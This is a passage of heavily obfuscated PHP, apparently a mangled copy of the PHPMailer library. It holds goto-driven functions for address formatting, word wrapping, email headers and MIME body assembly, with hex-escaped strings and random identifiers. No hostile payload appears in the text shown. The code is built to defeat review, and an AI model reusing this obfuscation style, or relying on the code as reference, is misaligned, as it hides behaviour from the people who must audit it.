wIAR9; AXzhs: $N0Yma = (include $wzYa4); goto hrqmX; WFOLK: guAtd: goto iRvlL; iRvlL: if (preg_match("\57\136\x5b\x61\x2d\x7a\x5d\173\x32\175\50\x3f\72\x5f\133\x61\55\x7a\x41\x2d\132\x5d\173\62\x7d\51\77\x24\57", $gydhc)) { goto PCuMl; } goto f7teK; HeWI3: uoMkk: goto eR1Nk; FUmwE: PCuMl: goto NGnAi; NGnAi: $N0Yma = true; goto NuJLl; NuJLl: $wzYa4 = $ncCJB . "\160\x68\x70\x6d\141\x69\154\x65\x72\x2e\154\x61\156\x67\x2d" . $gydhc . "\x2e\160\x68\x70"; goto ZILGW; u544_: if (!isset($lSC5H[$gydhc])) { goto QtsuZ; } goto WePIt; FHDTZ: QtsuZ: goto WX5ce; bDkD_: RsUB0: goto A9XpV; wIAR9: } public function getTranslations() { return $this->language; } public function addrAppend($oerFh, $Ti2Mg) { goto fk9i3; fk9i3: $bz9I2 = []; goto cIJFe; hDYm5: return $oerFh . "\72\x20" . implode("\x2c\x20", $bz9I2) . static::$LE; goto p8TUd; N1FLU: ExAj2: goto hDYm5; cIJFe: foreach ($Ti2Mg as $Jm2Lh) { $bz9I2[] = $this->addrFormat($Jm2Lh); FVYbn: } goto N1FLU; p8TUd: } public function addrFormat($Ti2Mg) { goto U53MH; QHn13: return $this->secureHeader($Ti2Mg[0]); goto m9TOO; m9TOO: g9frd: goto syMC9; syMC9: return $this->encodeHeader($this->secureHeader($Ti2Mg[1]), "\x70\150\162\141\x73\x65") . "\40\74" . $this->secureHeader($Ti2Mg[0]) . "\76"; goto pLkia; U53MH: if (!empty($Ti2Mg[1])) { goto g9frd; } goto QHn13; pLkia: } public function wrapText($upS1q, $B3Rsy, $JUC2O = false) { goto zO0xo; pKXLU: return $upS1q; goto b5Via; E3Zqh: $FpOVy = static::Y54ie === strtolower($this->CharSet); goto DajJy; SlSis: $W3vc4 = static::$LE; goto p_qKO; HST19: $upS1q = ''; goto d3Snv; p_qKO: goto uboFB; goto JAvXT; uFbVf: $upS1q = substr($upS1q, 0, -$aQ1V5); goto H6C2r; JAvXT: S2F4A: goto qY8QD; DajJy: $aQ1V5 = strlen(static::$LE); goto wuLqh; Op3jj: z9f3e: goto pKXLU; ARiH6: uboFB: goto E3Zqh; wTt4D: if (!(substr($upS1q, -$aQ1V5) == static::$LE)) { goto OExvL; } goto uFbVf; H6C2r: OExvL: goto M5RIo; qY8QD: $W3vc4 = sprintf("\40\x3d\x25\x73", static::$LE); goto ARiH6; zO0xo: if ($JUC2O) { goto S2F4A; } goto SlSis; HMzVN: $upS1q = static::normalizeBreaks($upS1q); goto wTt4D; wuLqh: $UqY_B = strlen(static::$LE); goto HMzVN; d3Snv: foreach ($FZAZx as $agbTK) { goto A6K_J; WBqGO: cuASl: goto y5YBX; EhMnV: foreach ($I_zMX as $dMM2L) { goto m5UYX; FOe0W: goto fihO9; goto mUoQc; LBRP0: $m1qUr = $dMM2L; goto sFLfD; z0vfV: if ($Xyme4) { goto ytKEC; } goto iPehP; N2RRx: FlMWJ: goto Xc4MM; Xc4MM: $i7eNA = $this->utf8CharBoundary($dMM2L, $i7eNA); goto SHYk9; N2VGU: ObeQp: goto baqkL; bkkcr: if ($FpOVy) { goto FRu5_; } goto U63mp; CmiFV: goto fihO9; goto S23iX; BuJkh: --$i7eNA; goto FOe0W; YygQ0: Q7NG1: goto uBGfW; zxFTa: cw1eB: goto e2RUj; ON2Ad: if ("\75" == substr($dMM2L, $i7eNA - 1, 1)) { goto avzze; } goto cdvBl; tC_zE: W7G1H: goto e7ckG; baqkL: $upS1q .= $C3xv4 . sprintf("\x3d\x25\x73", static::$LE); goto tC_zE; Ag7_w: goto fihO9; goto AYgjy; Gkjb7: goto KKCxk; goto pHrY4; eT5tG: ytKEC: goto aSThu; aLMST: if (strlen($dMM2L) > 0) { goto ObeQp; } goto gSBWh; cPGus: if ($FpOVy) { goto FlMWJ; } goto ON2Ad; gDY22: e0lW0: goto VSi9C; urGW9: goto e0lW0; goto dlWN4; iPehP: $m1qUr .= "\40"; goto eT5tG; sFLfD: mDS6E: goto wunwU; JPYSe: v4mxj: goto r0TWT; xKAn2: $dMM2L = substr($dMM2L, $i7eNA); goto aLMST; tn3K8: $upS1q .= $m1qUr . $W3vc4; goto Gkjb7; KSK6s: --$i7eNA; goto TBDuN; VSi9C: UFAC3: goto efJaa; AYgjy: r6nCq: goto BuJkh; e7ckG: goto HSbd5; goto gDY22; yVxr3: N9DDb: goto u1pxN; dwDWJ: $uQPZl = $B3Rsy - strlen($m1qUr) - $UqY_B; goto NuFts; p28C2: goto W7G1H; goto N2VGU; mUoQc: dQ1VS: goto CA7UG; S23iX: FRu5_: goto kWYvZ; idVOV: Umn6h: goto dwDWJ; ELxqp: goto cw1eB; goto N2RRx; SZ7NC: if (!($B3Rsy <= 0)) { goto o8Yej; } goto urGW9; CU4ff: KKCxk: goto Ai3j0; aSThu: $m1qUr .= $dMM2L; goto pIPBP; TBDuN: goto cw1eB; goto JPYSe; CA7UG: $i7eNA -= 2; goto sX8SK; U63mp: if ("\75" == substr($dMM2L, $i7eNA - 1, 1)) { goto r6nCq; } goto qLlmd; sX8SK: fihO9: goto UwEHs; pHrY4: LZMyr: goto mIhTg; jvGIc: $dMM2L = substr($dMM2L, $i7eNA); goto GoVmG; Ya2dE: if ($uQPZl > 20) { goto LZMyr; } goto tn3K8; wunwU: goto UFAC3; goto idVOV; UwEHs: $C3xv4 = substr($dMM2L, 0, $i7eNA); goto xKAn2; qLlmd: if ("\x3d" == substr($dMM2L, $i7eNA - 2, 1)) { goto dQ1VS; } goto CmiFV; cdvBl: if ("\75" == substr($dMM2L, $i7eNA - 2, 1)) { goto v4mxj; } goto ELxqp; NuFts: if ($Xyme4) { goto Q7NG1; } goto Ya2dE; r0TWT: $i7eNA -= 2; goto zxFTa; SHYk9: goto cw1eB; goto m1b4v; kWYvZ: $i7eNA = $this->utf8CharBoundary($dMM2L, $i7eNA); goto Ag7_w; pIPBP: if (!(strlen($m1qUr) > $B3Rsy and '' != $f5_JA)) { goto mDS6E; } goto qkqQM; efJaa: $Xyme4 = false; goto yVxr3; mIhTg: $i7eNA = $uQPZl; goto cPGus; e2RUj: $C3xv4 = substr($dMM2L, 0, $i7eNA); goto jvGIc; gSBWh: $m1qUr = $C3xv4; goto p28C2; Ai3j0: $m1qUr = ''; goto YygQ0; GoVmG: $m1qUr .= "\x20" . $C3xv4; goto X15XX; m1b4v: avzze: goto KSK6s; X15XX: $upS1q .= $m1qUr . sprintf("\75\x25\x73", static::$LE); goto CU4ff; TrFW2: $f5_JA = $m1qUr; goto z0vfV; m5UYX: if ($JUC2O and strlen($dMM2L) > $B3Rsy) { goto Umn6h; } goto TrFW2; SYiR3: $i7eNA = $B3Rsy; goto bkkcr; qkqQM: $upS1q .= $f5_JA . $W3vc4; goto LBRP0; lqqkZ: if (!(strlen($dMM2L) > 0)) { goto e0lW0; } goto SZ7NC; uBGfW: HSbd5: goto lqqkZ; dlWN4: o8Yej: goto SYiR3; u1pxN: } goto dXF8i; gTPRV: $m1qUr = ''; goto se3CW; dXF8i: tm7Jw: goto Ywa6T; A6K_J: $I_zMX = explode("\40", $agbTK); goto gTPRV; se3CW: $Xyme4 = true; goto EhMnV; Ywa6T: $upS1q .= $m1qUr . static::$LE; goto WBqGO; y5YBX: } goto Op3jj; M5RIo: $FZAZx = explode(static::$LE, $upS1q); goto HST19; b5Via: } public function utf8CharBoundary($fb729, $rY8m7) { goto GyovF; h2wOc: YOW6e: goto V60FV; ITQwl: goto TZrBd; goto b4Gax; QTJco: kKA0Y: goto hTVap; G3MEM: $Zqc2I = 3; goto veu0A; wvsKQ: goto kKA0Y; goto h2wOc; GyovF: $fzhA8 = false; goto G3MEM; bitd4: $XNldA = substr($fb729, $rY8m7 - $Zqc2I + $Q0KTa + 1, 2); goto cGcqI; xB6gz: if ($PjEy7 >= 192) { goto YRM7B; } goto NoKoX; b4Gax: lqzF9: goto I5YYs; NoKoX: if ($PjEy7 < 192) { goto YOW6e; } goto ecIqX; n9c56: if (!($Q0KTa > 0)) { goto EFDhT; } goto xzyZH; I5YYs: return $rY8m7; goto JTiNE; OUyJj: $fzhA8 = true; goto CeP6n; xzyZH: $rY8m7 -= $Zqc2I - $Q0KTa; goto s5VeH; hTVap: SMwiN: goto ITQwl; cGcqI: $PjEy7 = hexdec($XNldA); goto mDsqM; Yib6P: YRM7B: goto TNXVK; CMk_O: $Q0KTa = strpos($dwOBI, "\75"); goto Rbmpk; veu0A: TZrBd: goto cdrIu; V60FV: $Zqc2I += 3; goto QTJco; mDsqM: if ($PjEy7 < 128) { goto nZYnr; } goto xB6gz; ecIqX: goto kKA0Y; goto tP8Ly; x50yR: goto kKA0Y; goto Yib6P; s5VeH: EFDhT: goto ueDS5; bEOim: $dwOBI = substr($fb729, $rY8m7 - $Zqc2I, $Zqc2I); goto CMk_O; tP8Ly: nZYnr: goto n9c56; ueDS5: $fzhA8 = true; goto x50yR; Rbmpk: if (false !== $Q0KTa) { goto H_yGT; } goto OUyJj; ihuGJ: $fzhA8 = true; goto wvsKQ; cdrIu: if ($fzhA8) { goto lqzF9; } goto bEOim; bMfkk: H_yGT: goto bitd4; TNXVK: $rY8m7 -= $Zqc2I - $Q0KTa; goto ihuGJ; CeP6n: goto SMwiN; goto bMfkk; JTiNE: } public function setWordWrap() { goto KUkAp; dkQVm: ajERP: goto CSstf; BsNqI: switch ($this->message_type) { case "\x61\154\164": case "\141\x6c\164\x5f\x69\x6e\x6c\151\156\x65": case "\x61\154\x74\137\141\x74\164\141\x63\x68": case "\141\154\x74\x5f\151\x6e\154\151\x6e\x65\x5f\141\x74\164\141\143\x68": $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); goto tPVmG; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); goto tPVmG; } goto dkQVm; CSstf: tPVmG: goto qtovF; JbrIv: mur0L: goto BsNqI; EjKlu: return; goto JbrIv; KUkAp: if (!($this->WordWrap < 1)) { goto mur0L; } goto EjKlu; qtovF: } public function createHeader() { goto hINAT; hXE0T: if (!("\x6d\x61\x69\x6c" != $this->Mailer)) { goto tITiy; } goto L5n2B; w1alZ: x_zp5: goto YBnXv; IK1PK: G64ku: goto w9Iok; JKRKN: if ($this->sign_key_file) { goto jSInq; } goto F5f8q; FWQ9L: qv1dS: goto o86cA; JZh2Q: BvQel: goto STKIa; YeuOo: QAhSW: goto k8xkn; Da7b1: KNepG: goto nXUi3; Y8_lz: if ('' != $this->MessageID and preg_match("\x2f\x5e\74\x2e\x2a\100\x2e\52\76\x24\57", $this->MessageID)) { goto pq8SV; } goto ExuU6; nXUi3: if (!("\x6d\141\151\x6c" != $this->Mailer)) { goto HTyP4; } goto VuvgO; H9u24: $oKqtC .= $this->addrAppend("\x42\143\143", $this->bcc); goto yocYb; W0feM: goto x_zp5; goto DKXKL; k8xkn: if ('' == $this->XMailer) { goto X53Qf; } goto cUV1w; ONmcN: $this->lastMessageID = $this->MessageID; goto aVSoG; d5SV_: if (!(count($this->cc) > 0)) { goto NSkGf; } goto FCeUa; hINAT: $oKqtC = ''; goto FcEnw; Zi7Ur: $oKqtC .= $this->headerLine("\104\151\163\x70\157\163\x69\164\x69\157\156\55\x4e\x6f\x74\151\x66\x69\x63\141\x74\x69\157\x6e\x2d\124\157", "\x3c" . $this->ConfirmReadingTo . "\x3e"); goto eBuBV; EcEg4: $oKqtC .= $this->addrAppend("\x52\145\160\x6c\x79\55\124\157", $this->ReplyTo); goto Da7b1; xaSiR: $oKqtC .= $this->getMailMIME(); goto IqfKA; o86cA: if (!('' != $this->ConfirmReadingTo)) { goto G6Xx7; } goto Zi7Ur; cEkBD: $oKqtC .= $this->headerLine("\x58\x2d\x4d\141\x69\x6c\x65\x72", $yFuaz); goto PuxgK; jzA0w: if (!(("\163\x65\x6e\144\x6d\x61\151\154" == $this->Mailer or "\161\155\x61\151\x6c" == $this->Mailer or "\x6d\x61\151\154" == $this->Mailer) and count($this->bcc) > 0)) { goto u_OGl; } goto H9u24; f7Bzr: tITiy: goto W0feM; JuTdJ: goto x_zp5; goto WFO0w; vs99A: gn0D9: goto l2cQy; YBnXv: goto BvQel; goto IK1PK; Rr3EM: if (count($this->cc) == 0) { goto o1vGd; } goto JuTdJ; vQqxc: goto YWSwL; goto WtWQ0; F5f8q: $oKqtC .= $this->headerLine("\x4d\x49\x4d\105\55\x56\145\x72\x73\151\x6f\156", "\x31\56\60"); goto xaSiR; f9dod: $oKqtC .= $this->headerLine("\130\x2d\115\141\x69\x6c\x65\162", "\x50\110\x50\x4d\141\151\x6c\145\162\40" . self::kQUR3); goto FWQ9L; A9W6u: if (count($this->to) > 0) { goto Y282X; } goto Rr3EM; YVXdC: if (!$yFuaz) { goto tjAXK; } goto cEkBD; rGgaG: $oKqtC .= $this->headerLine("\130\x2d\120\x72\151\x6f\162\x69\164\x79", $this->Priority); goto YeuOo; tsZnS: NSkGf: goto jzA0w; ExuU6: $this->lastMessageID = sprintf("\74\45\x73\x40\x25\163\x3e", $this->uniqueid, $this->serverHostname()); goto vQqxc; EgVx7: X53Qf: goto f9dod; L5n2B: $oKqtC .= $this->addrAppend("\124\x6f", $this->to); goto f7Bzr; PuxgK: tjAXK: goto j0vO1; wJg0R: if (!(count($this->ReplyTo) > 0)) { goto KNepG; } goto EcEg4; WFO0w: Y282X: goto hXE0T; UIuVb: foreach ($this->to as $nUYG9) { $this->SingleToArray[] = $this->addrFormat($nUYG9); P_CGZ: } goto vs99A; TGB4Y: sfTYe: goto JKRKN; FCeUa: $oKqtC .= $this->addrAppend("\103\143", $this->cc); goto tsZnS; SUNmX: HTyP4: goto Y8_lz; sM8t0: foreach ($this->CustomHeader as $lTiMf) { $oKqtC .= $this->headerLine(trim($lTiMf[0]), $this->encodeHeader(trim($lTiMf[1]))); cfIG3: } goto TGB4Y; nOvDj: return $oKqtC; goto ocXap; l2cQy: C3sqU: goto JZh2Q; j0vO1: goto qv1dS; goto EgVx7; FcEnw: $oKqtC .= $this->headerLine("\104\141\x74\x65", '' == $this->MessageDate ? self::rfcDate() : $this->MessageDate); goto iiWFa; aA2bj: $oKqtC .= $this->headerLine("\124\157", "\165\x6e\144\151\163\x63\154\x6f\x73\x65\x64\x2d\x72\x65\143\x69\160\x69\x65\x6e\164\x73\72\x3b"); goto w1alZ; suCBr: $oKqtC .= $this->headerLine("\115\x65\x73\163\141\147\145\x2d\111\x44", $this->lastMessageID); goto iOarg; aVSoG: YWSwL: goto suCBr; STKIa: $oKqtC .= $this->addrAppend("\x46\x72\x6f\155", [[trim($this->From), $this->FromName]]); goto d5SV_; IqfKA: jSInq: goto nOvDj; VuvgO: $oKqtC .= $this->headerLine("\x53\x75\142\152\x65\143\164", $this->encodeHeader($this->secureHeader($this->Subject))); goto SUNmX; cUV1w: $yFuaz = trim($this->XMailer); goto YVXdC; yocYb: u_OGl: goto wJg0R; w9Iok: if (!("\155\x61\151\x6c" != $this->Mailer)) { goto C3sqU; } goto UIuVb; iOarg: if (!(null !== $this->Priority)) { goto QAhSW; } goto rGgaG; eBuBV: G6Xx7: goto sM8t0; iiWFa: if ($this->SingleTo) { goto G64ku; } goto A9W6u; DKXKL: o1vGd: goto aA2bj; WtWQ0: pq8SV: goto ONmcN; ocXap: } public function getMailMIME() { goto lOf3G; a0v2U: return $oKqtC; goto PAgEK; Q2ChK: qeZOS: goto soud2; sybXf: SqqwB: goto a0v2U; soud2: eIIX_: goto v13vy; JiCan: TSZhb: goto zNwsO; jRn2D: $oKqtC .= $this->headerLine("\x43\157\156\164\145\156\x74\55\x54\x72\x61\x6e\x73\146\x65\x72\55\105\x6e\x63\157\144\x69\156\x67", $this->Encoding); goto gIzDo; va74T: if (!("\155\141\151\154" != $this->Mailer)) { goto SqqwB; } goto owPCY; TlYXu: $oKqtC .= $this->headerLine("\103\x6f\x6e\x74\145\156\x74\55\124\x72\141\156\163\146\145\x72\55\105\x6e\143\x6f\x64\151\x6e\147", static::spJZd); goto JiCan; Z_DQA: tWyVK: goto va74T; FAxvH: H6war: goto nLgq9; EGACI: if ($RhhqA) { goto H6war; } goto jRn2D; IA2M0: switch ($this->message_type) { case "\x69\156\154\x69\x6e\x65": goto ieeGN; cBXWo: $oKqtC .= $this->textLine("\11\x62\157\165\x6e\x64\141\162\171\75\42" . $this->boundary[1] . "\42"); goto FpS5o; FpS5o: goto eIIX_; goto YRoAw; ieeGN: $oKqtC .= $this->headerLine("\x43\157\156\164\x65\x6e\164\x2d\x54\171\x70\145", static::m7yR8 . "\x3b"); goto cBXWo; YRoAw: case "\141\164\x74\x61\x63\150": case "\x69\x6e\154\151\x6e\x65\137\x61\164\x74\x61\x63\150": case "\141\x6c\x74\137\141\164\164\x61\143\x68": case "\x61\x6c\164\137\x69\x6e\154\151\156\x65\x5f\141\164\164\141\143\x68": goto IqT5C; XTsNl: goto eIIX_; goto FQfu6; IqT5C: $oKqtC .= $this->headerLine("\x43\x6f\x6e\164\x65\156\x74\55\124\171\160\x65", static::H7nBA . "\x3b"); goto a3znG; a3znG: $oKqtC .= $this->textLine("\x9\x62\157\165\156\x64\x61\x72\x79\x3d\x22" . $this->boundary[1] . "\42"); goto XTsNl; FQfu6: case "\x61\x6c\164": case "\141\x6c\x74\137\x69\156\154\x69\156\145": goto ATEdg; ATEdg: $oKqtC .= $this->headerLine("\103\157\156\164\x65\156\x74\55\x54\x79\x70\145", static::BUxGZ . "\x3b"); goto gHzCz; gHzCz: $oKqtC .= $this->textLine("\x9\x62\x6f\165\156\144\x61\x72\171\75\42" . $this->boundary[1] . "\x22"); goto d3fP3; d3fP3: goto eIIX_; goto BGypI; BGypI: default: goto dfS4t; R7OLS: goto eIIX_; goto iALEd; JmvHY: $RhhqA = false; goto R7OLS; dfS4t: $oKqtC .= $this->textLine("\x43\x6f\x6e\164\x65\156\x74\55\124\171\x70\145\x3a\x20" . $this->ContentType . "\73\x20\143\150\x61\x72\163\145\164\x3d" . $this->CharSet); goto JmvHY; iALEd: } goto Q2ChK; gIzDo: goto zntFM; goto FAxvH; lOf3G: $oKqtC = ''; goto GveV_; owPCY: $oKqtC .= static::$LE; goto sybXf; GveV_: $RhhqA = true; goto IA2M0; nLgq9: if (!(static::spJZd == $this->Encoding)) { goto TSZhb; } goto TlYXu; v13vy: if (!(static::BAP0e != $this->Encoding)) { goto tWyVK; } goto EGACI; zNwsO: zntFM: goto Z_DQA; PAgEK: } public function getSentMIMEMessage() { return rtrim($this->MIMEHeader . $this->mailHeader, "\xa\xd") . static::$LE . static::$LE . $this->MIMEBody; } protected function generateId() { goto cG5qo; cG5qo: $i7eNA = 32; goto SCmPL; TTWih: goto aUArD; goto tuUP9; ARq8f: goto aUArD; goto xBkNh; fo8WC: if (function_exists("\157\160\x65\x6e\x73\x73\154\x5f\x72\141\156\x64\x6f\155\137\x70\x73\x65\x75\144\157\137\x62\x79\x74\x65\163")) { goto CIgj_; } goto mUpWg; kvopI: return str_replace(["\x3d", "\53", "\x2f"], '', base64_encode(hash("\163\x68\141\62\65\x36", $pyA67, true))); goto Dsd0n; n0wuq: $pyA67 = random_bytes($i7eNA); goto ARq8f; xBkNh: CIgj_: goto qE6lF; qE6lF: $pyA67 = openssl_random_pseudo_bytes($i7eNA); goto dfCSa; SCmPL: if (function_exists("\x72\x61\x6e\144\157\155\x5f\142\171\164\145\x73")) { goto HQpal; } goto fo8WC; tuUP9: HQpal: goto n0wuq; dfCSa: aUArD: goto kvopI; mUpWg: $pyA67 = hash("\163\x68\x61\62\x35\x36", uniqid((string) mt_rand(), true), true); goto TTWih; Dsd0n: } public function createBody() { goto DPKnX; O44UV: $RxpXh = "\124\150\151\x73\40\x69\163\x20\141\x20\x6d\165\154\x74\x69\x2d\160\141\x72\x74\40\155\145\163\x73\141\147\x65\x20\x69\156\40\115\x49\115\105\40\146\x6f\162\155\141\164\56" . static::$LE; goto CJmvX; b4IGq: Z65Zc: goto ewBQU; JhQiU: $g1Iq7 = static::BAP0e; goto NHWfC; dSBhA: ASwnt: goto jtds6; JH7Xs: joB68: goto XxHpO; VNMnu: if (!(static::spJZd == $YLdN3 and !$this->has8bitChars($this->AltBody))) { goto iyPlf; } goto PGVJs; lIzwL: $this->boundary[3] = "\x62\63\137" . $this->uniqueid; goto NxJyg; lZX3A: goto U5H01; goto Y8aWH; Sxb6K: ZmG4l: goto WiAAp; cw2fd: $KbIzu = "\x75\163\55\x61\163\143\x69\x69"; goto ITmTv; CJmvX: switch ($this->message_type) { case "\151\156\154\x69\x6e\145": goto vFyLl; wkPYb: $qKvMM .= $this->attachAll("\151\x6e\x6c\151\x6e\x65", $this->boundary[1]); goto EJbvS; h9KOK: $qKvMM .= $this->getBoundary($this->boundary[1], $SlnLq, '', $g1Iq7); goto DfXvf; DfXvf: $qKvMM .= $this->encodeString($this->Body, $g1Iq7); goto M3OFW; M3OFW: $qKvMM .= static::$LE; goto wkPYb; vFyLl: $qKvMM .= $RxpXh; goto h9KOK; EJbvS: goto CrcN3; goto luFhb; luFhb: case "\x61\164\164\141\143\150": goto uN3S2; LsT3j: $qKvMM .= $this->encodeString($this->Body, $g1Iq7); goto RD0a0; RD0a0: $qKvMM .= static::$LE; goto f9bHa; r97lt: goto CrcN3; goto oIcZX; F0HEG: $qKvMM .= $this->getBoundary($this->boundary[1], $SlnLq, '', $g1Iq7); goto LsT3j; uN3S2: $qKvMM .= $RxpXh; goto F0HEG; f9bHa: $qKvMM .= $this->attachAll("\141\164\164\141\x63\x68\x6d\145\156\164", $this->boundary[1]); goto r97lt; oIcZX: case "\151\x6e\x6c\151\156\145\137\141\x74\164\141\x63\x68": goto P3OFb; pv7d8: $qKvMM .= static::$LE; goto rnwOg; IA6Z4: $qKvMM .= $this->textLine("\11\142\157\x75\156\x64\141\162\171\75\42" . $this->boundary[2] . "\42"); goto pv7d8; nHXiy: $qKvMM .= $this->textLine("\55\55" . $this->boundary[1]); goto jei0Y; P3OFb: $qKvMM .= $RxpXh; goto nHXiy; ISHiF: goto CrcN3; goto mL8oE; wkS9G: $qKvMM .= static::$LE; goto QhQC8; Cc8y3: $qKvMM .= $this->encodeString($this->Body, $g1Iq7); goto wkS9G; jei0Y: $qKvMM .= $this->headerLine("\x43\157\x6e\x74\x65\156\x74\55\x54\171\x70\145", static::m7yR8 . "\73"); goto IA6Z4; iF1Rx: $qKvMM .= static::$LE; goto ObSoi; QhQC8: $qKvMM .= $this->attachAll("\151\156\154\x69\156\145", $this->boundary[2]); goto iF1Rx; rnwOg: $qKvMM .= $this->getBoundary($this->boundary[2], $SlnLq, '', $g1Iq7); goto Cc8y3; ObSoi: $qKvMM .= $this->attachAll("\x61\164\x74\x61\x63\x68\155\x65\x6e\x74", $this->boundary[1]); goto ISHiF; mL8oE: case "\x61\154\x74": goto Pb2N3; b84Yb: $qKvMM .= $this->encodeString($this->Body, $g1Iq7); goto IX7Yq; IX7Yq: $qKvMM .= static::$LE; goto ChJ7d; LQq22: $qKvMM .= $this->encodeString($this->Ical, $this->Encoding); goto T1TOD; ChJ7d: if (empty($this->Ical)) { goto doa4R; } goto x5vqo; jo2CO: $qKvMM .= $this->getBoundary($this->boundary[1], $SlnLq, static::rtK8d, $g1Iq7); goto b84Yb; MBzc5: $qKvMM .= static::$LE; goto jo2CO; IB80o: goto CrcN3; goto reERM; ScRya: $qKvMM .= $this->getBoundary($this->boundary[1], $KbIzu, static::Ha_i0, $YLdN3); goto WE4R7; wRhBw: $qKvMM .= $this->endBoundary($this->boundary[1]); goto IB80o; x5vqo: $qKvMM .= $this->getBoundary($this->boundary[1], '', static::uYtHu . "\x3b\x20\x6d\145\164\150\157\144\x3d\x52\x45\x51\125\105\x53\124", ''); goto LQq22; kE1rh: doa4R: goto wRhBw; WE4R7: $qKvMM .= $this->encodeString($this->AltBody, $YLdN3); goto MBzc5; T1TOD: $qKvMM .= static::$LE; goto kE1rh; Pb2N3: $qKvMM .= $RxpXh; goto ScRya; reERM: case "\x61\x6c\x74\x5f\x69\156\x6c\x69\x6e\145": goto Zjdwg; qRjse: $qKvMM .= $this->attachAll("\151\156\154\x69\x6e\x65", $this->boundary[2]); goto c_tch; Zjdwg: $qKvMM .= $RxpXh; goto mO5Pc; XWilR: $qKvMM .= $this->textLine("\55\55" . $this->boundary[1]); goto FnF_T; XQosV: $qKvMM .= $this->textLine("\x9\142\157\x75\156\144\141\162\171\75\42" . $this->boundary[2] . "\42"); goto xgLN5; c_tch: $qKvMM .= static::$LE; goto a6FOz; MtNMG: $qKvMM .= static::$LE; goto XWilR; BjqBo: $qKvMM .= $this->encodeString($this->Body, $g1Iq7); goto wsn1d; mO5Pc: $qKvMM .= $this->getBoundary($this->boundary[1], $KbIzu, static::Ha_i0, $YLdN3); goto uQejN; FnF_T: $qKvMM .= $this->headerLine("\103\x6f\156\x74\x65\156\164\55\124\171\x70\145", static::m7yR8 . "\73"); goto XQosV; xgLN5: $qKvMM .= static::$LE; goto qzVWy; d5ZgM: goto CrcN3; goto aUNq3; uQejN: $qKvMM .= $this->encodeString($this->AltBody, $YLdN3); goto MtNMG; a6FOz: $qKvMM .= $this->endBoundary($this->boundary[1]); goto d5ZgM; qzVWy: $qKvMM .= $this->getBoundary($this->boundary[2], $SlnLq, static::rtK8d, $g1Iq7); goto BjqBo; wsn1d: $qKvMM .= static::$LE; goto qRjse; aUNq3: case "\x61\x6c\x74\x5f\141\164\164\141\x63\150": goto O091z; LjLYY: $qKvMM .= $this->encodeString($this->AltBody, $YLdN3); goto kJh1a; O091z: $qKvMM .= $RxpXh; goto CUkcF; SxJta: $qKvMM .= static::$LE; goto ER9py; wv4f9: $qKvMM .= $this->getBoundary($this->boundary[2], $KbIzu, static::Ha_i0, $YLdN3); goto LjLYY; Rbh2j: Mp7RT: goto dEhzd; VRPA7: $qKvMM .= $this->textLine("\11\x62\x6f\x75\x6e\x64\141\x72\x79\75\42" . $this->boundary[2] . "\42"); goto mzLyW; bzYh0: $qKvMM .= $this->encodeString($this->Body, $g1Iq7); goto d2u0C; SMRbz: $qKvMM .= $this->encodeString($this->Ical, $this->Encoding); goto Rbh2j; VmUB8: $qKvMM .= $this->getBoundary($this->boundary[2], '', static::uYtHu . "\x3b\x20\155\145\x74\150\157\x64\75\122\x45\x51\125\105\123\x54", ''); goto SMRbz; CUkcF: $qKvMM .= $this->textLine("\55\55" . $this->boundary[1]); goto mWawg; d2u0C: $qKvMM .= static::$LE; goto wyit5; IH0C_: goto CrcN3; goto XOEHX; mzLyW: $qKvMM .= static::$LE; goto wv4f9; mWawg: $qKvMM .= $this->headerLine("\103\157\156\164\x65\x6e\x74\x2d\124\x79\x70\x65", static::BUxGZ . "\73"); goto VRPA7; zZurb: $qKvMM .= $this->getBoundary($this->boundary[2], $SlnLq, static::rtK8d, $g1Iq7); goto bzYh0; dEhzd: $qKvMM .= $this->endBoundary($this->boundary[2]); goto SxJta; ER9py: $qKvMM .= $this->attachAll("\x61\x74\x74\x61\143\x68\x6d\x65\156\164", $this->boundary[1]); goto IH0C_; kJh1a: $qKvMM .= static::$LE; goto zZurb; wyit5: if (empty($this->Ical)) { goto Mp7RT; } goto VmUB8; XOEHX: case "\x61\x6c\164\x5f\x69\156\154\x69\x6e\x65\137\141\x74\x74\141\x63\150": goto qYrkh; dZx0h: $qKvMM .= static::$LE; goto gFIti; MZMV1: $qKvMM .= static::$LE; goto RPWwX; gFIti: $qKvMM .= $this->getBoundary($this->boundary[2], $KbIzu, static::Ha_i0, $YLdN3); goto zh3b3; xN1WV: $qKvMM .= static::$LE; goto WrTrD; aN3Dt: $qKvMM .= $this->textLine("\x9\x62\157\165\156\x64\x61\162\171\x3d\x22" . $this->boundary[2] . "\x22"); goto dZx0h; uG7cU: $qKvMM .= static::$LE; goto Do3Wt; zHY1C: $qKvMM .= $this->attachAll("\141\164\x74\x61\143\150\155\145\156\164", $this->boundary[1]); goto Hu0Lo; WrTrD: $qKvMM .= $this->endBoundary($this->boundary[2]); goto QcZBq; zctM7: $qKvMM .= $this->encodeString($this->Body, $g1Iq7); goto uG7cU; D_BnT: $qKvMM .= $this->headerLine("\103\x6f\156\164\145\156\164\x2d\x54\x79\160\x65", static::m7yR8 . "\x3b"); goto Bj3FX; QcZBq: $qKvMM .= static::$LE; goto zHY1C; GCr1m: $qKvMM .= $this->textLine("\55\55" . $this->boundary[2]); goto D_BnT; VDlZa: $qKvMM .= static::$LE; goto GCr1m; Do3Wt: $qKvMM .= $this->attachAll("\x69\x6e\154\151\156\145", $this->boundary[3]); goto xN1WV; RPWwX: $qKvMM .= $this->getBoundary($this->boundary[3], $SlnLq, static::rtK8d, $g1Iq7); goto zctM7; Bj3FX: $qKvMM .= $this->textLine("\11\x62\x6f\x75\156\x64\x61\162\171\x3d\42" . $this->boundary[3] . "\x22"); goto MZMV1; zh3b3: $qKvMM .= $this->encodeString($this->AltBody, $YLdN3); goto VDlZa; qYrkh: $qKvMM .= $RxpXh; goto JyPHO; paFko: $qKvMM .= $this->headerLine("\x43\157\156\x74\145\156\x74\55\x54\171\x70\x65", static::BUxGZ . "\73"); goto aN3Dt; JyPHO: $qKvMM .= $this->textLine("\x2d\55" . $this->boundary[1]); goto paFko; Hu0Lo: goto CrcN3; goto kw_yO; kw_yO: default: goto nMDo9; nMDo9: $this->Encoding = $g1Iq7; goto GrjD7; NLfAz: goto CrcN3; goto BRTfW; GrjD7: $qKvMM .= $this->encodeString($this->Body, $this->Encoding); goto NLfAz; BRTfW: } goto Sxb6K; fAhOf: goto U5H01; goto JH7Xs; XxHpO: $qKvMM = ''; goto K6WuN; ITmTv: iyPlf: goto nqc4q; OG893: throw new 